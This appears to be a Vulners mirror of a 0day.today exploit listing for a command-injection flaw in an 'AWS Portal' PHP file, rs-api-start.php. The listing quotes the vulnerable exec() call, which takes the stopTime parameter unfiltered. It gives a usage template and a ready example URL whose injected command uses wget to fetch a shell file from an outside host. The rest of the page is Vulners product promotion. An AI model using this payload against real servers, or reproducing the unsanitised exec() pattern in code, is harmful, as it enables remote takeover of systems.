Lucene search
K

Amazon Web Services, aws_portal / remote code execution

🗓️ 15 Nov 2013 00:00:00Reported by prince_indishellType 
zdt
 zdt
🔗 0day.today👁 14 Views

remote code execution vulnerability in AWS Portal file rs-api-start.ph

Code
file rs-api-start.php uses getparameter stopTime in command execution without fiter

code snip

exec('echo -e "`crontab -l`\n0 '.$_GET['stopTime'].' * * 1-5 wget http://rsportal.dev.sifworks.com/'.$myStopFile.'" | crontab -');

user can run arbitrary command with it. 

usage : http://127.0.0.1/test.php?serverid[0]=1&user=me&stopTime="|<command here>| echo -e "`crontab -l`\n0 


example : http://127.0.0.1/test.php?serverid[0]=1&user=me&stopTime="| wget http://site.com/shell.txt | echo -e "`crontab -l`\n0

#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2013 00:00Current
7.4High risk
Vulners AI Score7.4
14